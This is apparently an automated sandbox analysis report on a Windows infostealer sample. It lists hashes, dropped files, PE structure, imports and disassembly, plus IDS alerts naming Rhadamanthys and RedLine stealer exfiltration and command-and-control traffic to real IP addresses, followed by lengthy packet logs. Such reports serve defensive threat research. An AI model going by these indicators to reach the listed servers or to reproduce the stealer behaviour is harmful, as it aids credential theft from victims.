SHA-512:	C573290AA51321D892BE106F42CE6728B20E6AF4EC4DF4F5020DB364DD7103F89C62CE67C19EB50767707FB0DD30B977CE1DA2E9EB53D6799CE08501A68C6B65
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 85%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........4.FUD.FUD.FUD.X..[UD.X..8UD.a.?.MUD.FUE..UD.X...bUD.X..GUD.X..GUD.RichFUD.........PE..L......a.....................hx......~............@...........................y................................................x.....y.x..........................P................................Z..@............................................text............................... ..`.data.....w......D..................@....rsrc...x*....y..,..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\dbjigst:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\nsis_uns5aa2a3.dll

Download File

Process:	C:\Windows\SysWOW64\fontview.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	58880
Entropy (8bit):	5.816689146123608
Encrypted:	false
SSDEEP:	768:G8UC0v3QaNfPhY1M/staXbOgt/pqFjkWKihkWuxvDI5syov9L7YYy/BbEl:Ts3N39/B/pqFjdFhkzqk9LMDM
MD5:	713062DABA2534394662294035FD7E92
SHA1:	40270752DB5576F1D5E6C935F224754C7B6C3450
SHA-256:	E6A5CA65ACFD261D56F622F891BF04E6D41862AB505466374DAEEE8852A01B71
SHA-512:	E07D9C38D43334CB8E35B32C12EEF9FF1DDB7FFE0004AE0D56FE3FB24FBEC6B179B631F61AFC54B1D31AD02C619442C783A9D881CCE86BE833B39C59F236B2FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............u...u...u.Z....u...t..u.......u......u.......u.......u.......u.Rich..u.................PE..d....-.c.........." .........t...............................................0..........................................................L.......(............................ ..........................................................x............................text............................... ..`.rdata..<........0..................@..@.data...X5..........................@....pdata..............................@..@.reloc..j.... ......................@..B........................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.104315914125058
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	aw9Ynwqd1x.exe
File size:	199680
MD5:	b5c3c3d5eb5e6b5415ac4d87e3c46850
SHA1:	9aa4014de1b622844ddfa4c7ddb17ae384289cd2
SHA256:	b7948c22484bddce96a2713da0a6bda18cfd0487db9239ed0fd1790552d5e6b2
SHA512:	c573290aa51321d892be106f42ce6728b20e6af4ec4df4f5020db364dd7103f89c62ce67c19eb50767707fb0dd30b977ce1da2e9eb53d6799ce08501a68c6b65
SSDEEP:	3072:OBN4X3HL6thikLX8OKWnG5/9sSR3STCDrKQqSrwizN5UE3Z9ziBG7aZ:imG7LX9pno9sSxOCDlrwiz75p9oG7w
TLSH:	0B14D03276B3C0B3C55A04711824DBD53E7BB53046B5884B7BA80ABD5E707E1A76B38E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........4*.FUD.FUD.FUD.X...[UD.X...8UD.a.?.MUD.FUE..UD.X...bUD.X...GUD.X...GUD.RichFUD.........PE..L......a.....................hx....

File Icon


Icon Hash:	d0b0b892e8e4c0c4

Static PE Info

General

Entrypoint:	0x407ed4
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x61CACEB1 [Tue Dec 28 08:45:37 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	a73658074f4769fd7f1d57304e5f6853

Entrypoint Preview

Instruction
call 00007F28F0D81D7Bh
jmp 00007F28F0D79B0Eh
int3
int3
mov edx, dword ptr [esp+0Ch]
mov ecx, dword ptr [esp+04h]
test edx, edx
je 00007F28F0D79CFBh
xor eax, eax
mov al, byte ptr [esp+08h]
test al, al
jne 00007F28F0D79CA8h
cmp edx, 00000100h
jc 00007F28F0D79CA0h
cmp dword ptr [02B97608h], 00000000h
je 00007F28F0D79C97h
jmp 00007F28F0D81E35h
push edi
mov edi, ecx
cmp edx, 04h
jc 00007F28F0D79CC3h
neg ecx
and ecx, 03h
je 00007F28F0D79C9Eh
sub edx, ecx
mov byte ptr [edi], al
add edi, 01h
sub ecx, 01h
jne 00007F28F0D79C88h
mov ecx, eax
shl eax, 08h
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 03h
shr ecx, 02h
je 00007F28F0D79C98h
rep stosd
test edx, edx
je 00007F28F0D79C9Ch
mov byte ptr [edi], al
add edi, 01h
sub edx, 01h
jne 00007F28F0D79C88h
mov eax, dword ptr [esp+08h]
pop edi
ret
mov eax, dword ptr [esp+04h]
ret
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F28F0D79C9Ah
cmp edi, eax
jc 00007F28F0D79E3Ah
cmp ecx, 00000100h
jc 00007F28F0D79CB1h
cmp dword ptr [02B97608h], 00000000h
je 00007F28F0D79CA8h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x19b1c	0x78	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2798000	0x2a78	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1250	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5a80	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x204	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x19704	0x19800	False	0.5641084558823529	data	6.548052818508281	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x1b000	0x277c610	0x14400	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2798000	0x2a78	0x2c00	False	0.45561079545454547	data	4.150069416811535	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x2798220	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Spanish	Mexico
RT_ICON	0x27988e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Spanish	Mexico
RT_ICON	0x2798e50	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Spanish	Mexico
RT_ICON	0x2799ef8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Spanish	Mexico
RT_STRING	0x279a4f0	0xc0	data	Spanish	Mexico
RT_STRING	0x279a5b0	0x228	data	Spanish	Mexico
RT_STRING	0x279a7d8	0x29e	data	Spanish	Mexico
RT_GROUP_ICON	0x279a360	0x3e	data	Spanish	Mexico
RT_VERSION	0x279a3a0	0x150	data

Imports

DLL	Import
KERNEL32.dll	FindActCtxSectionStringW, CreateFileA, GetSystemWindowsDirectoryW, GlobalHandle, FindFirstVolumeMountPointW, CreateDirectoryExW, ReleaseActCtx, GetLogicalDriveStringsW, ReadConsoleInputA, GetComputerNameExW, GetTempPathA, GetCurrentDirectoryW, DebugBreak, LCMapStringW, GetProcAddress, GlobalAlloc, SetVolumeMountPointW, GetLastError, LoadLibraryW, SetCommMask, LocalUnlock, GetUserDefaultLangID, TerminateProcess, LocalFlags, GetModuleHandleA, GetConsoleAliasesLengthW, RegisterWaitForSingleObject, GlobalSize, OpenFileMappingW, lstrcmpW, ChangeTimerQueueTimer, SetConsoleScreenBufferSize, GetComputerNameW, lstrcpynW, SetConsoleCtrlHandler, CopyFileW, DosDateTimeToFileTime, QueryDosDeviceA, CreateActCtxW, DeleteVolumeMountPointW, MoveFileWithProgressA, PulseEvent, LocalReAlloc, WriteConsoleInputW, GetTempPathW, InterlockedCompareExchange, EnumTimeFormatsA, VerifyVersionInfoA, FindNextFileW, GetConsoleAliasA, FreeLibraryAndExitThread, GetNumberOfConsoleInputEvents, GetVolumePathNameA, LoadLibraryA, CloseHandle, HeapSize, ReadFile, WriteConsoleW, WideCharToMultiByte, HeapReAlloc, HeapAlloc, MoveFileA, DeleteFileA, GetStartupInfoW, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapFree, GetCPInfo, InterlockedIncrement, InterlockedDecrement, GetACP, GetOEMCP, IsValidCodePage, GetModuleHandleW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapCreate, VirtualFree, VirtualAlloc, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, Sleep, ExitProcess, WriteFile, GetModuleFileNameA, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, LCMapStringA, MultiByteToWideChar, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, InitializeCriticalSectionAndSpinCount, RtlUnwind, SetFilePointer, GetConsoleCP, GetConsoleMode, RaiseException, FlushFileBuffers, SetStdHandle, WriteConsoleA, GetConsoleOutputCP
USER32.dll	GetCaretBlinkTime
GDI32.dll	GetBrushOrgEx, GetBoundsRect
SHELL32.dll	FindExecutableA
MSIMG32.dll	AlphaBlend

Possible Origin

Language of compilation system	Country where language is spoken	Map
Spanish	Mexico

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
109.206.243.168192.168.2.380497352853001 01/25/23-09:43:38.668137	TCP	2853001	ETPRO TROJAN Rhadamanthys Stealer - Payload Response	80	49735	109.206.243.168	192.168.2.3
192.168.2.3109.206.243.16849736802853002 01/25/23-09:44:09.970426	TCP	2853002	ETPRO TROJAN Rhadamanthys Stealer - Data Exfil	49736	80	192.168.2.3	109.206.243.168
192.168.2.3109.206.243.16849760802853002 01/25/23-09:44:49.715501	TCP	2853002	ETPRO TROJAN Rhadamanthys Stealer - Data Exfil	49760	80	192.168.2.3	109.206.243.168
192.168.2.389.208.103.8849733375382043231 01/25/23-09:43:35.518560	TCP	2043231	ET TROJAN Redline Stealer TCP CnC Activity	49733	37538	192.168.2.3	89.208.103.88
192.168.2.3109.206.243.16849735802043202 01/25/23-09:43:38.621799	TCP	2043202	ET TROJAN Rhadamanthys Stealer - Payload Download Request	49735	80	192.168.2.3	109.206.243.168
192.168.2.389.208.103.8849733375382043233 01/25/23-09:43:14.099188	TCP	2043233	ET TROJAN RedLine Stealer TCP CnC net.tcp Init	49733	37538	192.168.2.3	89.208.103.88
89.208.103.88192.168.2.337538497332043234 01/25/23-09:43:16.162357	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	37538	49733	89.208.103.88	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 25, 2023 09:42:40.452477932 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.469746113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.470160007 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.470671892 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.470772028 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.487663984 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.487689018 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.614130974 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.614201069 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.614464998 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.626651049 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.626651049 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.643986940 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.644038916 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.706640005 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.706765890 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.706834078 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.706881046 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.706888914 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.706928015 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.706935883 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.706974030 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.707020998 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.707029104 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.707067013 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.707113028 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.707168102 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.707355976 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.707406044 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.707415104 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.707477093 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.707515955 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.707545996 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.752640963 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.752695084 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.752752066 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.752805948 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.752823114 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.752861977 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.752865076 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.752902031 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.752919912 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.753530979 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.753582001 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.753599882 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.753628969 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.753679037 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.753680944 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.754316092 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.754370928 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.754385948 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.754415989 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.754462957 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.754463911 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.755188942 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.755243063 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.755259037 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.755290031 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.755337000 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.755340099 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.756964922 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.757025003 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.757040024 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.757072926 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.757118940 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.757127047 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.757163048 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.757208109 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.757211924 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.757247925 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.757294893 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.799654961 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.799721003 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.799767971 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.799813986 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.799815893 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.799877882 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.799981117 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.800026894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.800076008 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.800244093 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.800288916 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.800348043 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.800818920 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.800865889 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.800913095 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.800915956 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.800961971 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.801004887 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.801335096 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.801382065 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.801423073 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.801435947 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.801875114 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.801918030 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.801923990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.801973104 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.802012920 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.802020073 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.802566051 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.802613974 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.802623034 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.802659988 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.802706957 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.802726984 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.804682970 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.804729939 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.804745913 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.804775953 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.804820061 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.804822922 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.804867983 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.804912090 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.804913044 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.804959059 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.805002928 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.805005074 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.805484056 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.805533886 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.805540085 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.805579901 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.805627108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.805633068 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.805732965 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.805783987 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.805808067 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.805855989 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.805902004 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.805903912 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.806653023 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.806719065 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.806766987 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.806808949 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.806808949 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.806816101 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.807473898 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.807529926 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.807540894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.807588100 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.807637930 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.817550898 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.846441031 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.846513987 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.846523046 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.846594095 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.846642017 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.846642017 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.846687078 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.846745014 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.846791029 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.846967936 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.847012997 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.847016096 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.847063065 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.847110033 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.847110987 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.847742081 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.847790956 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.847804070 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.847837925 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.847882032 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.847882986 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.848556995 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.848603964 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.848607063 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.848649979 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.848695993 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.848696947 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.849358082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.849406004 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.849406004 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.849453926 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.849502087 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.849502087 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.850153923 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.850208998 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.850224018 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.850256920 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.850303888 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.850306034 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.850958109 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.851007938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.851007938 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:40.851054907 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.851103067 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:40.851110935 CET	49728	80	192.168.2.3	188.114.97.3
